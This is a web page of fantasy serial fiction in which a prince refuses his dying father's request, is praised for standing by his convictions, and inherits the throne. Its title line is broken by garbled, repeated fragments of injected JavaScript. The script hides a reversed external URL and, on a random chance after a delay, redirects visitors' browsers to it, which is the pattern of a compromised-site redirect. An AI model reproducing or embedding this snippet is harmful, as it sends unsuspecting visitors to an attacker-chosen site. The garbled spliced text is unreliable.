Thon 29: Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory Part XIII

“No, father. I will not do it. Ask nearly anything else of me, I will see it done. I will not bring the young woman here to be used for her gift. Not even for you, my dying father.” Lucian lifts his chin as he looks down at his father, preparing for the flash of anger and betrayal.

“My son. You have no idea how pleased I am to hear you say such words to me.” The old man smiles at his son, slowly sinking back against the headboard of the bed. He closes his eyes a moment, then opens them to regard the stunned look upon his son’s face. “Surprised to hear me say something such as that?”

“You could say that, father…” Lucian looks at his father curiously, obviously uncertain what exactly was occurring.

“I have watched you running our kingdom in the past months, my son. I knew you were nearly ready to become king of this land. However, I needed to know if you would do anything to make your loved ones content – or if you would be a man of your beliefs and convictions, and therefore a man of your word.” The older man nods to Lucian. “You have shown me you can take a stand against someone you care for deeply, when the request is unreasonable, or completely against what you believe. I commend you for it, my son. And I am now prepared to pass from this world and into the next, knowing the kingdom rests safely in you hands.”

“Father, no…” Lucian gets to his feet, moving to stand near his father.

“I will see you again, my son.” The old man smiles at his son. He takes a signet ring from his right hand and gives it to Lucian. “Rule wisely, my son. Listen to your advisers. Find a woman who will love you for you and not for your throne. Have many children. Have a good life.” He closes his eyes.

“I will see you again, father.” Lucian exhales slowly, watching his father take his last breath. He moves away from the older man, sliding the signet ring onto his right hand. He looks out the window, shoving a hand through his hair. The kingdom was now truly in his hands. He needed to decide the best way to proceed. Lucian moves out of his room, calling for the nearest footman. He tells the footman of the king’s passing, telling him to fetch the castle healer. The healer would begin arrangements for the king’s funeral rites. Lucian moves away from his father’s chamber, heading back down the hall.

“Jarrod?” Lucian heads for their normal convening room, then pauses, hearing whispering voices behind one door. He pauses, tipping his head to one side.